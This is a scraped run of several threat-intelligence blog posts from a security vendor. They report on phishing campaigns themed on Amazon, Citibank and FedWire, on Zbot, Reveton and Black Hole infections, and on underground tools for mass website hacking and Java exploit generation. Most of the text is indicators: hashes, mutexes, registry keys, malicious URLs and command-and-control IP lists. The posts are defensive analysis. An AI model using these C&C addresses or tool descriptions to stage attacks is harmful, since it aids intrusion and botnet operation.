The following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Global{644DF5F7-07C5-7AF1-0508-B06D3016937F} Global{644DF5F7-07C5-7AF1-7109-B06D4417937F} Global{644DF5F7-07C5-7AF1-490A-B06D7C14937F} Global{644DF5F7-07C5-7AF1-610A-B06D5414937F} Global{644DF5F7-07C5-7AF1-8D0A-B06DB814937F} Global{644DF5F7-07C5-7AF1-990A-B06DAC14937F} Global{644DF5F7-07C5-7AF1-350B-B06D0015937F} Global{644DF5F7-07C5-7AF1-610B-B06D5415937F} Global{644DF5F7-07C5-7AF1-BD0B-B06D8815937F} Global{644DF5F7-07C5-7AF1-190C-B06D2C12937F} Global{644DF5F7-07C5-7AF1-4D0C-B06D7812937F} Global{644DF5F7-07C5-7AF1-750C-B06D4012937F} Global{644DF5F7-07C5-7AF1-B50D-B06D8013937F} Global{644DF5F7-07C5-7AF1-290E-B06D1C10937F} Global{644DF5F7-07C5-7AF1-610E-B06D5410937F} Global{644DF5F7-07C5-7AF1-E508-B06DD016937F} Global{644DF5F7-07C5-7AF1-FD0B-B06DC815937F} Global{644DF5F7-07C5-7AF1-190D-B06D2C13937F} Global{644DF5F7-07C5-7AF1-150D-B06D2013937F} Global{644DF5F7-07C5-7AF1-D109-B06DE417937F} Global{340FE32E-111C-2AB3-8F92-61FCBA8C42EE} Global{38E3341C-C62E-265F-8F92-61FCBA8C42EE} Global{EEE5022F-F01D-F059-8F92-61FCBA8C42EE} Global{340FE329-111B-2AB3-8F92-61FCBA8C42EE} Global{5E370004-F236-408B-8F92-61FCBA8C42EE} Global{644DF5F7-07C5-7AF1-790B-B06D4C15937F} Local{55E9553D-A70F-4B55-8F92-61FCBA8C42EE} Local{55E9553C-A70E-4B55-8F92-61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-61FCBA8C42EE}*

It then phones back to the following C&C servers: *109.133.89.74:12851 180.248.91.99:23798 186.134.187.62:13338 187.172.45.5:11680 2.96.42.157:22487 37.232.27.130:11815*

64.231.249.250:27667 69.77.132.197:13027 94.240.224.115:27794 168.150.243.11 173.225.242.27 176.73.238.72 190.15.128.210 195.169.125.228 199.59.157.124 2.96.42.157 70.140.36.61 75.131.19.253 75.64.131.25 76.245.44.216 79.50.36.133 90.156.118.144 95.239.225.8 95.86.104.231 99.251.147.34

More malware samples are known to have phoned back to the same IPs. For instance: *MD5: 247c67cb99922fd4d0e2ca5d6976fc29 MD5: e9017fcf0e2416043cb7a5a7996e72f6 MD5: ed6cf29f0a48d8eafebfa0f51a2abe9e MD5: 543ef490d269a61b128964f8176d299e MD5: 3c70d82bc49668c5367fc8792371fec6 MD5: 917e3cbb690e233d4f20fd7e8b4afaf3 MD5: 7c993d383a1165957541eb2d289eea85 MD5: cdad47cb2d1db132daf21da73145aa18 MD5: 1977f4861cf67c1012c6e92c2e39283e MD5: fdbfdb6c5b5796e32298f2e53cb1cb90 MD5: cf88b3f3b40a9a268d5f5c1b261acc33 MD5: 7ec06721bc935fcbfb319265b8b8cff8 MD5: 7c17d897aef6e526dadf2b4699323488 MD5: c8168b0a88f90014c451a4770213c9a7 MD5: 346efdfb527e5c602aaf55835c9671e7 MD5: 3495df769588f3f5f40ee25841aecaed MD5: 50d5441a4c0dc1742ab0b5a05a6f4e4b MD5: e58cfb3f79b565de3fa61c2235377e0f MD5: a4bf232cdbebc90b9b3d74cc8c1f9d2a MD5: 259660c9323f1f0f132cdb9c4789f915 MD5: 2fa2e3281be7e45488ce64b6cb6581bb MD5: 82ce8e9521d72c4951430a34864493d3 MD5: d444dc8dfe7fbce52429c62af1dc5b16 MD5: 805f125fb367dccec1551b881695b1d6 MD5: 9d61ff0d27188b129d5fc97ba45aa599 MD5: 59251b43d35702f5cd197e452a44ea7b MD5: 1a86caab899ca5ddf663c8467235ff01 MD5: b072dbf799a590bbe7b80238542fa2af MD5: 8f54130a4b7407dbea864449f6908804 MD5: 2060eb24b10d436e5294960672677ce8 MD5:*

46c606fe5dbc061f0be6cc6866705c9f	MD5:
00cd81d1d0fc916ab0b304600dad2058	MD5:
367bbef986b336c1bb9335b9e61fcf24	MD5:
72d96fbd89fac18832a040d7d9cbcd8c	MD5:
329e5b0bc4e75e879f1cc393ca043288	MD5:
518352a7be3a343fd9b431652b4293dc	MD5:
5b9637cbc07f32cd30e320899304cb7f	MD5:
f24f1b1f59fb82328aa59d43b12eabd3	MD5:
70e4efbe6f4e09f6c3bb2407c693e057	MD5:
5f9d4fef21708fd4e10d6e80bb8a733c	MD5:
87f3b9e991b9830caf7841e414ea88fe	MD5:
893ccedad0c1f6b01e3868f66b4744f8	MD5:
d4ee3105ae4c44d2985e8faae7f1044b	MD5:
1adf7905418cfcb51a95ca34cecf6c05	MD5:
03b6f974e7115cf5f13644bf81caac04	MD5:
42d9ec294e32c4df6e2ebdddd35c7fd8	MD5:
d952792a2a46aafb38b6129df44b1079	MD5:
bb67064fa8cb28de34d56bb76d935cf0	MD5:
77d3bd676cad6c8b186297a84dafc48d	MD5:
3b67c763a7a317238e788c54d09b8de0	MD5:
88b4905975113b4d544d49665d16e821	MD5:
f27de781f9b844e177177e128a203ef1	MD5:
6de4ea5063f204186e26a3ad35336d01	MD5:
1b2223a8e0f4b29a68496c40741d1c7a	MD5:
85f261b22746e5e63948d8afe3f1e129	MD5:
7abbcd050c8f2ad5c9ef720f653137df	MD5:
b053b4dc84de1a85ee626ea86eba8052	MD5:
9d6ec02156c3f67f14867efbc1af59c0	MD5:
f099871c4d8c1c0c934c3775e375d795	MD5:
ae79af10ce52db3c162d65f0cbabd062	MD5:
ec968e27f8647310485870477816276d	MD5:
5b91f61a83f2549ceba4e03cf6f84a84	MD5:
7c5dff882e56d4e372661fb951fe061b	MD5:
294cd29658de52e01f392fc03bf80f9f	MD5:
6a5a717a1f9e2d4f201b0f32ff2ff859	MD5:
69eb93af2d176497bd95081d223eab39	MD5:
661baa1231158ba77e9a8b5c62f08ec3	MD5:

64180426af81153b2375308ea4529327 MD5:
44442f6a1e8c3e0bc573bebd40ca06b8 MD5:
8b09db751a82994adb70fd01211c9983 MD5:
160ee078326901832bcd8402cec42811 MD5:
54282d7d67ccdb2357ae4bd6cec050fc MD5:
febc26304b45fe1ca3bd01cdda1a5916 MD5:
4b98dd5c4cebaaa024d0448df0c2926c MD5:
65afe0d5a6601a55224f37893eb7a12d MD5:
c73b6fb824845d3c037dc610dc75d551 MD5:
476a16169ba2f4b49738883dcaa4142f MD5:
5e6e7926f9ea856e82a8d5d641486776 MD5:
32fafadece23b75661a6c189cbb6804e MD5:
9eef1a1ce5c3b5d7ba7feec91290fa22 MD5:
337f370b4660cc164a64d12566672b70 MD5:
d6e3fe2a9d7af6f8d35ee70b0d354ce2 MD5:
a9c753ad53f465def07bdd3f37beccc MD5:
aa3a3e8da07b301960bfb27b57676fab MD5:
87ae40f0e5ce4fd5f249a7b550b88a2c MD5:
7381bbece8166e37a6125625d29c99ea

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake Amazon 'Your Kindle E-Book Order' themed emails circulating in the wild, lead to client-side exploits and malware - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Kindle users, watch what you click on!

Cybercriminals are currently mass mailing tens of thousands of fake **Amazon** "You Kindle E-Book Order" themed emails in an attempt to trick Kindle users into clicking on the malicious links found in these messages. Once they do so, they'll be automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** , ultimately joining the botnet operated by the cybercriminal/cybercriminals that launched the campaign.

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised URLs participating in the campaign: *hxxp://sombranomada.info/amazonzon.html hxxp://minskcar.by/amazonzon.html hxxp://mariamadredelaiglesia.cl/amazonzon.html hxxp://myataworld.com/amazonzon.html hxxp://apel-institut.org/amazonzon.html hxxp://wordofmouthbali.com/amazonzon.html*

MD5 for the Java exploit: **MD5: c9bc87eef8db72f64bac0a72f82b04cf** – detected by 5 out of 46 antivirus scanners as HEUR:Exploit.Java.CVE-2012-0507.gen MD5 for the PDF exploit: **MD5: 53c90140fde593713efe6298547ff205** – detected by 26 out of 46 antivirus scanners as Exploit:Win32/CVE-2010-0188

Upon successful client-side exploitation, the campaign drops **MD5: 330ad00466bd44a5fb2786f0f5e2d0da** – detected by 3 out of 45 antivirus scanners as Trojan.Win32.Reveton.a (v).

Once executed, the sample creates the following files on the affected hosts: *C:Documents and SettingsUserApplication DataKB00776902.exe C:DOCUME~1UserLOCALS~1Tempexp3.tmp C:DOCUME~1UserLOCALS~1Tempexp3.tmp.bat*

Drops **MD5: 6104fb43f2dbe10d254b395a05704428**

It also creates the following Mutexes: *LocalXMM000001A4 LocalXMI000001A4 LocalXMM00000558 LocalXMI00000558 LocalXMM00000580 LocalXMI00000580 LocalXMM000004EC LocalXMI000004EC LocalXMM000004F0 LocalXMI000004F0*

It then phones back to: *85.214.143.90 130.79.80.40 213.199.201.180 46.51.189.229 91.121.30.185 89.110.148.213 81.17.22.14 88.119.156.20 161.53.184.3 94.23.6.95 88.191.130.98/J9/vp/EGa+AAAAAA/2MB9vCAAAA*

More malware samples are known to have phoned back to the same IPs. For instance: *MD5: a86d0929b7baf1839f8f6ef19a1a9ffa MD5: df9d41114a2d54f2d0770392ab06dddc MD5: d2d98755969029c47ed81a2a2efbc147 MD5: 22789f547eced1982aab80fb7549dfea MD5: f9696cd9637cbc3d029ef63fa22b35a3 MD5: 77cdee1f4e57836b74ab827ad23d88b3 MD5: abe3a0bbed3abbd496b6b015509e0033 MD5: 617657758f30d7bd7e5db52f3133b6dc MD5: 83d834514b498417097c3ae1d34cee6c MD5: 4c362a47a0b72280c0b061588a50e1e1 MD5: 575434edfc538a62ac1fcde2a7250fac MD5: a1e1242dac7cd5245b8ffa4125186ef5 MD5: 8899155ae4a7b4ffe9ebe2d89cea0ae4 MD5: 60fd9d820a01343182ac51b57f21d291*

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Citibank 'Merchant Billing Statement' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, we've intercepted yet another spam campaign impersonating Citibank in an attempt to socially engineer Citibank customers into thinking that they've received a Merchant Billing Statement. Once users execute the malicious attachment found in the fake emails, their PCs automatically join the botnet operated by the cybercriminal/cybercriminals.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious executable: MD5: 75a666f81847ccf7656790162e6a666a – detected by 20 out of 46 antivirus scanners as Trojan-Spy.Win32.Zbot.lcnn.

Once executed, the sample drops the following files on the affected hosts: *MD5: d41d8cd98f00b204e9800998ecf8427e MD5: 758498d6b275e58e3c83494ad6080ac2 MD5: 342b7a0425bb3b671854bc7a4823d378 MD5: 2401466fb91045ac970a1dbb1a468783*

It then starts listening on port 16985, allowing the cybercriminals behind the campaign to gain complete access to the host.

The sample also creates the following Mutexes: *Local{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Local{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Local{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Local{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Local{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Local{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A} Global{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Global{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}*

Global{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Global{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}
Global{EE3082BB-B2DA-15DD-11EB-B06D3016937F}
Global{EE3082BB-B2DA-15DD-75EA-B06D5417937F}
Global{EE3082BB-B2DA-15DD-4DE9-B06D6C14937F}
Global{EE3082BB-B2DA-15DD-65E9-B06D4414937F}
Global{EE3082BB-B2DA-15DD-89E9-B06DA814937F}
Global{EE3082BB-B2DA-15DD-BDE9-B06D9C14937F}
Global{EE3082BB-B2DA-15DD-51E8-B06D7015937F}
Global{EE3082BB-B2DA-15DD-81E8-B06DA015937F}
Global{EE3082BB-B2DA-15DD-FDE8-B06DDC15937F}
Global{EE3082BB-B2DA-15DD-0DEF-B06D2C12937F}
Global{EE3082BB-B2DA-15DD-5DEF-B06D7C12937F}
Global{EE3082BB-B2DA-15DD-95EE-B06DB413937F}
Global{EE3082BB-B2DA-15DD-F1EE-B06DD013937F}
Global{EE3082BB-B2DA-15DD-89EB-B06DA816937F}
Global{EE3082BB-B2DA-15DD-F9EF-B06DD812937F}
Global{EE3082BB-B2DA-15DD-E5EF-B06DC412937F}
Global{EE3082BB-B2DA-15DD-0DEE-B06D2C13937F}
Global{EE3082BB-B2DA-15DD-09ED-B06D2810937F}
Global{EE3082BB-B2DA-15DD-51EF-B06D7012937F}
Global{EE3082BB-B2DA-15DD-35EC-B06D1411937F}
Global{EE3082BB-B2DA-15DD-B1EA-B06D9017937F}
Global{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}
Global{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

The following Registry Keys/Registry Values: *HKEY_CURRENT_USERSoftwareMicrosoftIbesja [HKEY_CURRENT_USERIdentities] -> Identity Login = 0x00098053 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> {3DFA1AE4-115C-AD7B-A6BA-A75086AF8442} = “”%AppData%Uczeutapi.exe”” [HKEY_CURRENT_USERSoftwareMicrosoftIbesja] -> 8fb916j = 2D AA 36 D5 F8 C7 A9 7A; dba3gc5 = “MapX1Q==”; 1fadc141 = “4P5X1fOYmnpmmWX7”*

It then phones back to the following C&C servers: *1.168.36.175:19755 174.89.51.54:28289 190.73.229.164:12407*

194.94.127.98:25549 24.120.165.58:21251 66.63.204.26:29482 72.20.156.250:17157 75.87.65.147:12014 83.21.8.24:10220 85.113.97.137:23397 99.103.42.49:26480 83.213.40.53 190.75.107.92 75.61.139.23 189.223.135.118 81.149.242.235 64.231.249.250 195.169.125.228 99.190.186.102 182.8.170.153 93.63.139.146 190.1.235.59 41.70.190.218 81.88.151.109 90.156.118.144 151.45.10.230 190.17.161.62 68.199.158.93 67.52.7.174 46.40.121.209 212.49.41.106 124.122.199.15 188.14.124.180 186.92.102.126 173.185.182.58 95.91.233.77 5.118.250.166 93.202.97.42

More MD5s are known to have phoned back to the same C&C servers. For instance: *MD5: c8b9b1629fe3f1d784b8fd5b1465150a MD5: 5024ed66fa3e02f95511a79a514144c4 MD5: fcaadadcdb87e839eb67af02bf9882c4 MD5: 0d5d0889bc06f0d63cb6b97397f11218 MD5: 54403dbf585eb8fb78ab846eb0ab18f0 MD5: 08089785b0242fc8338011321b831225 MD5: 2a8931354bf61749cbf6f24e0db74b89 MD5: cb31ee582ade86cad0bc6d7623d2ffb4 MD5: 77ae7d1b2cf3022e36aabec6299250a1 MD5: 68fa7293bd813541cc246aad52447673 MD5: 28b1c209bdc0154594e26e85da0c0fcf MD5: 84c420d0bec5aab11d2f0a14d2dae0cc MD5: 886f553ed58aee042d7d95eaa30e05b3 MD5: 5b02a6ce7c3335163804b3ae751e8157 MD5: a073ab44745fd1ae401136f001c5651b MD5: c4d9c501e27e069dedd59263031c8083 MD5: 06b89c4124ad2d8671b027a4d9c17650 MD5: 1e670e14b9474b82431fbf9dfc66b2de MD5: e20a5ed1d6ce0821680e507d7db97256 MD5: 8394b0b6754ab39854bb68862fa90948 MD5: 7f0a7f2cc47adae80ca88d754c6fc9fa MD5: b49eb68373531cf053cbc3d8a34e93b1 MD5: 9b0c97252a8d69bdd795d50be071a6c8 MD5: fe76d90d3913d01df04c9495fa2722fe MD5: d9bb2ff8052e54ed8cc223960e2436e6 MD5: f1c9f0e6f84a12f54dc57a3e5afa2c4b MD5:*

e15d9045cd38fd340c7322511abc6072	MD5:
c274192e65f1795926b0d6e0eb41695b	MD5:
b4f7154414adb452f71af868179f5e99	MD5:
e401377952b66d8c600e0a56ccdae9d7	MD5:
6078c25813d0fcbff40b62b911672baa	MD5:
765137dbcaa178efc4d81c0b3ed18cd1	MD5:
fde19d3fd7367fde018e42222db16d7b	MD5:
c003911fd87c141680374c9b186f14ea	MD5:
4a3fd9fe00f4ed1dbfdf1b9e8d2cd835	MD5:
c003911fd87c141680374c9b186f14ea	MD5:
3b3b6a60a45870239f19b188bcecb24d	MD5:
4a3fd9fe00f4ed1dbfdf1b9e8d2cd835	MD5:
e74cd8aa61a71c97dc9df6244452d3e8	MD5:
f4f46785aec169533dda598869b4f652	MD5:
773347409e3c0276409f72f5b54ebba5	MD5:
9e77a332203aa1f6e5f77e3b91990106	MD5:
f4a95f23af26ce5d9bd4e9757248e62f	MD5:
0fe5ed4acf78fd887d7468e602ad2917	MD5:
9a08e275eb2503256450e87ab588d2c8	MD5:
eb288beb41039421b398a334e6026d54	MD5:
6331be83df34d74e88bae1cf261d9902	MD5:
8145cdf4586697018e30a2a07cd8cee9	MD5:
d463e429d88a082c72f1cdf26eb5d8e6	MD5:
39197e008d5f00f577f0072efb66462c	MD5:
b8bd69f7b8ee5b3089225ad12735660f	MD5:
2c9eec6c46eb1761b3f4ae62b2aeb15f	MD5:
5bb8a9e2cc46d8162d0db8be014f6398	MD5:
7472a5c90949ff645e226ec48951210b	MD5:
3b0aea6adbe8ec91e6d71547505e2c2c	MD5:
9044defbcb38437f9f219a59bd49d1cc	MD5:
494c1c9616896fb656bd885ad0ab7ca3	MD5:
b940fb3dc83345933a3b78aa177afbd3	MD5:
930f22061d02c04f69d8c4599cce0b54	MD5:
6078b4a1221653e425d9f91ea333a563	MD5:
af288964ea76a531858679cf6178726d	MD5:
3304558040f63556f872870896b6e52b	MD5:
54c884c93357d49354792a1fc0d8e124	MD5:

*9155ecf1478f60c375b4f7584cfb8006 MD5:
f2ed432cf7817f3df29afc21f9f1a085 MD5:
fb543cef3e2fa90713014fbc866937df MD5:
8c7d14930299c319c08a535d0d9d5ba0 MD5:
3527b667829c8c65746770589cbbf67b MD5:
f059eeea22a879b77ac5088377a4ebf4 MD5:
29d442849d88648e0dc0e1a7dd67565d MD5:
7dca26120ce7bde79de3c230f267dad6 MD5:
b5337fc7eee78398a8343cc87c93e6a3 MD5:
b5337fc7eee78398a8343cc87c93e6a3 MD5:
b92c3bb6ebd037120ce0b16757da5188 MD5:
7fb2b4ed0be7d9c89568b7d7dcada0c6 MD5:
9fa09623f675bd4a4fc0776c593ba40e MD5:
e0d2c82d502a1e825b006c416fad865d*

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New Version Of DIY Google Dorks Mass Website Hacking Tool Spotted | Webroot

facebook linkedin twitter

Need a compelling reason to perform search engine reconnaissance on your website, for the purpose of securing it against eventual compromise? We're about to give you a good one.

A new version of a well known mass website hacking tool has been recently released, empowering virtually anyone who buys it with the capability to efficiently build "hit lists" of remotely exploitable websites for the purpose of abusing them in a malicious or fraudulent fashion. Relying on **Google Dorks** for performing search engine reconnaissance, the tool has built-in SQL injecting options, the ability to add custom exploits, a proxy aggregation function so that no CAPTCHA challenge is ever displayed to the attacker, and other related features currently under development.

More details:

Sample screenshots of the DIY mass Web site hacking tool in action:

The tool works both on the desktop as a stand alone application, but can also be integrated within popular browsers in an attempt to fool the search engines into thinking that it is legitimate traffic. It can also automatically detect remotely exploitable websites and exploit them entirely based on the preferences set by the malicious attacker using it.

Its licensing comes in a hardware-based ID form. One license goes for $10 in Liberty Reserve currency, or $11 in Western Union transfer. The unlimited license doesn't have a hardware-based ID restriction, and goes for $20 in Liberty Reserve, or $20 in Western Union transfer.

Efficiently abusing hundreds of thousands of websites through search engines reconnaissance is nothing new. In fact, it's been an every day reality since the day market leading search engines started offering advanced search operators to be used. There are several ways through which a cybercriminal can efficiently exploit hundreds of thousands of legitimate Web sites:

Search engine reconnaissance through DIY SQL/RFI (Remote File Inclusion) tools, or botnets – DIY tools and botnets performing these actions have been available on the underground marketplace for years, empowering novice cybercriminals with the capabilities to exploit insecurely configured websites, blogging platforms, domain portfolio managing tools, Web forums, as well as CMSs (content management systems).
Use of data mined or purchased stolen accounting data – We've seen it in the past, and we continue seeing it in the present. Cybercriminals continue data mining malware infected hosts, looking for login credentials to be automatically abused with malicious scripts and actual executables getting hosted on legitimate websites in an attempt to trick a security solution's IP reputation process.
Active exploitation of server farms – A cybercriminal's mentality is fairly simple as it has to do with efficiency. The higher the page rank of the infected legitimate website, the better, as the campaign will attract a lot of traffic. However, the high page rank also increases the probability of a successful detection by the security community. What would a cybercriminal do in this case? They'll take advantage of the 'Long Tail ' concept, infecting as many low profile websites as possible. This is theoretically capable of achieving the same traffic volumes as if they were to infect a high page rank-ed website. One of the most recent tactics we've seen has to do with the practice of infecting all the domains parked at a specific (compromised) server, through commercially available Apache backdoors .

We'll continue monitoring the development of this tool, and post updates as soon as new developments emerge, in particular, the introduction of features.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a CVE-2013-0422 exploiting DIY malicious Java applet generating tool - Webroot Blog

facebook linkedin twitter

On a regular basis we profile various **DIY (do it yourself)** releases offered for sale on the underground marketplace with the idea to highlight the re-emergence of this concept which allows virtually anyone obtaining the leaked tools, or purchasing them, to launch targeted malware attacks.

Can DIY exploit generating tools be considered as a threat to the market domination of **Web malware exploitation kits** ? What's the driving force behind their popularity? Let's find out by profiling a tool that's successfully generating an exploit (**CVE-2013-0422**) embedded Web page, relying on malicious Java applets.

More details:

Sample screenshot of the DIY exploit generating tool:

Second screenshot of the DIY exploit generating tools in action:

To use it, a cybercriminal submits a URL and the tool will embeds the exploit based on their preferences. The Web page then functions as a foundation for a **successful social engineering attempt** . The options provide the ability to choose a URL pointing to a malicious executable, define what happens once the exploitation takes place, and the name of the **malicious Java applet** .

DIY client-side exploits embedding tools aren't new however; despite their popularity, they fail to achieve the efficiency levels offered by modern and systematically updated Web malware exploitation kits. What they make fairly easy to accomplish is to empower a potential cybercriminal with an extremely easy to use point'n'click tool, to assist them in targeted malware campaigns.

We'll continue to monitor the re-emergence of the DIY cybercrime ecosystem market concept, and post updates as soon as new tools and services become available for cybercriminals to take advantage of.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

FedWire 'Your Wire Transfer' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Over the last day, cybercriminals have launched yet another massive email campaign to impersonate **FedWire** in an attempt to trick users into thinking that their wire transfer was processed incorrectly. Once they execute the malicious attachment, their PCs automatically become part of the botnet operated by the cybercriminal/gang of cybercriminals.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious executable: MD5: 0a3723483e06dcf7e51073972b9d1ef3 – detected by 10 out of 46 antivirus scanners as Trojan-Spy:W32/Zbot.BBHU.

Once executed, the sample creates the following files on the affected hosts: *C:Documents and Settings<USER>Application DataIvtycifi.exe C:DOCUME~1<USER>~1LOCALS~1Temptmp0a13035e.bat*

Sets the following Registry Keys/Values: *KEY: HKEY_CURRENT_USERSoftwareMicrosoftEspao5eeged2 VALUE: JIDkwp5v1/Oe5S3T8Ma6FeO0Qdc=*

Creates the following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-61FCBA8C42EE} Global{DFD8EA7E-184C-C164-0508-B06D3016937F} Global{DFD8EA7E-184C-C164-7109-B06D4417937F} Global{DFD8EA7E-184C-C164-490A-B06D7C14937F} Global{DFD8EA7E-184C-C164-610A-B06D5414937F} Global{DFD8EA7E-184C-C164-8D0A-B06DB814937F} Global{DFD8EA7E-184C-C164-990A-B06DAC14937F} Global{DFD8EA7E-184C-C164-350B-B06D0015937F} Global{DFD8EA7E-184C-C164-610B-B06D5415937F} Global{DFD8EA7E-184C-C164-B90B-*

B06D8C15937F} Global{DFD8EA7E-184C-C164-150C-
B06D2012937F} Global{DFD8EA7E-184C-C164-4D0C-
B06D7812937F} Global{DFD8EA7E-184C-C164-6D0C-
B06D5812937F} Global{DFD8EA7E-184C-C164-B90D-
B06D8C13937F} Global{DFD8EA7E-184C-C164-2D0E-
B06D1810937F} Global{DFD8EA7E-184C-C164-610E-
B06D5410937F} Global{DFD8EA7E-184C-C164-7908-
B06D4C16937F} Global{DFD8EA7E-184C-C164-790B-
B06D4C15937F} Global{DFD8EA7E-184C-C164-550C-
B06D6012937F} Global{DFD8EA7E-184C-C164-F50E-
B06DC010937F} Global{DFD8EA7E-184C-C164-3D0D-
B06D0813937F}

It then phones back to the following C&C servers:
78.139.187.6:19644 123.237.234.67:17231 78.139.187.6:14384
95.59.85.166:26355 123.237.234.67:19477 81.133.189.232:10880
79.43.109.56:15575 64.231.249.250:27667 69.183.226.70:14774
202.229.103.0:13338 81.133.189.232 79.43.109.56 69.183.226.70
202.229.103.0 83.23.136.17 82.50.88.142 62.163.245.52
189.223.135.118 24.120.165.58 66.63.204.26 99.103.42.49
212.76.98.162 81.88.151.109 173.194.67.106 90.156.118.144
199.59.157.124 108.74.172.39 151.45.10.230 2.181.13.249
213.188.74.166 109.237.192.56 2.184.146.117 173.61.237.166
123.252.172.184 76.219.136.45 76.181.147.218 2.180.104.27
182.53.26.37 129.89.11.208 120.59.91.66 24.173.222.82
78.187.120.209 67.190.79.132 94.65.141.20

More malware (SHA256 hashes) samples are known to have phoned back to the same IPs over the last couple of days, for instance:
0eb5dd62e32bc6480bae638967320957419ba70330f0b9ad5759c2d
3f25753dd
85ba584731c9efb870b3915325330375 48f4152d1dceb92a5aa062f5
93c1da98
d8067d7a86b65ac4df60514792bc7c3991631a664118a32f5ea29fc5
95d68c8a
1c678ad43f59e4fda58be198f5264f2110e1c27b3aa13a4fcb9d5f4e31
7cbac9
5fe14e389f8cff581385fb272a4189312fa94a7e8a9fdc197989e184ba

```
413253
a680b5a5cf3c5d78fa1718605924dc6bf220e371a76e8b2c76c84e1c6
e38b6e3
3982d1dde8157bea7a6714da20bb285acd75b967570c7e405e4e0c4
f06b6ce4f
8c636547f3ce92b95eeadae55ef4668ab97d927fbffac25771010e72d
c6723e0
dbe0b013402e52a84f67017ec74e62e650c34af7306a50ce63f487d7
21ccd7fa
c0f68c918910f3edc4a61851be627c0e29889092d5fef87e7c5cfb126a
c6e17f
954fb7b172f2408071db5f4ff4324ec3cdf9940e77590774d2c1372681
e3605e
934cd7e608782b2a251e311f35b80b9d6c942256b30d11c760904e8
bab35c948
b8bf59f59db01780719e9b5f9c4d02efd6407a49177f200c8039871d9f
f27fb5
46c7a2d4ba271af4dba07499e9db019ee217d17ddf1cb5df02c542cc
735a3805
270e65a12dfebb4576c744a0cf95ceec596559e2f807d4d33df6d41d5
8f6917a
a96e265ac94f7e2b46d404b034c95076e4ac4f7dc858b30566c9ee84
81fc25a3
e97601bba68645355b0294fca90093eedfe6eb446a79b870d21d63b6
06f18e1b
f52ff4e9e2309f447375623460472d3fe764d0bf48b228d33f7a8e0682
38b788
235643e6d419d4cfb964e00f7c9a39c9334b809f6268e0c4933b36dd
2783abda
986468654dc049fffdb77cb380bc0d148305d9ae5045e2127d17dc67
53858f62
2b5be44424967dc88612851f90517161c8d2f9f651e0d02947b676a0
7fb9f5c0
7c858682c4a0122fadd802725ce21b09f6f2452cd168a6a65431322e
4d4f2fcd
5eb3cdb05e86498ba8b249604d86194d8b11baf949ea63a465fc78b2
e5eb1e14
```

```
56d61f9577ae86a05fc6395573cd80367903a21a3e904e978a50e657
6adda871
4cab19871551e54195cc587a25c22f6c2e40bd1314abe1f2b316ec00
57ae37cb
038edc2dbb651e1173de0893289fa266e8baa1f229cb2801f228629e
3997f73a
d53c71eebf465812df25a1fcd280e7dd07eb5aaa47507e9af3de5d44e
1150c35
2f80751c7c9a8816054190ce67b303846ba216caaa4f5934d8041e12
af5e1b49
8197f4a38ebc5559e221f174b5d6ce007af6e4c13acbc85b3fba2d93a
9bfcbc1
4117e3d775eda1da344686e5c886ba84d229b5cf9ac438205a9db5a
56fbee43b
5a676f388d5ad5164b7efed3574d747cf1315c6e16110f6b8ca84587c
f983fb4
7c9f8f4c01e2039578e94f16120a7211e4529ee1686a12ecb1430108
33de445f
982fa557adde4198a2a7717841d8e5920eeb8337ea8b48125f7d733
4890767a9
478a24371467b24371d0aa1173bf508922e82be7e0314c188f2bb7f1
de6b0dae
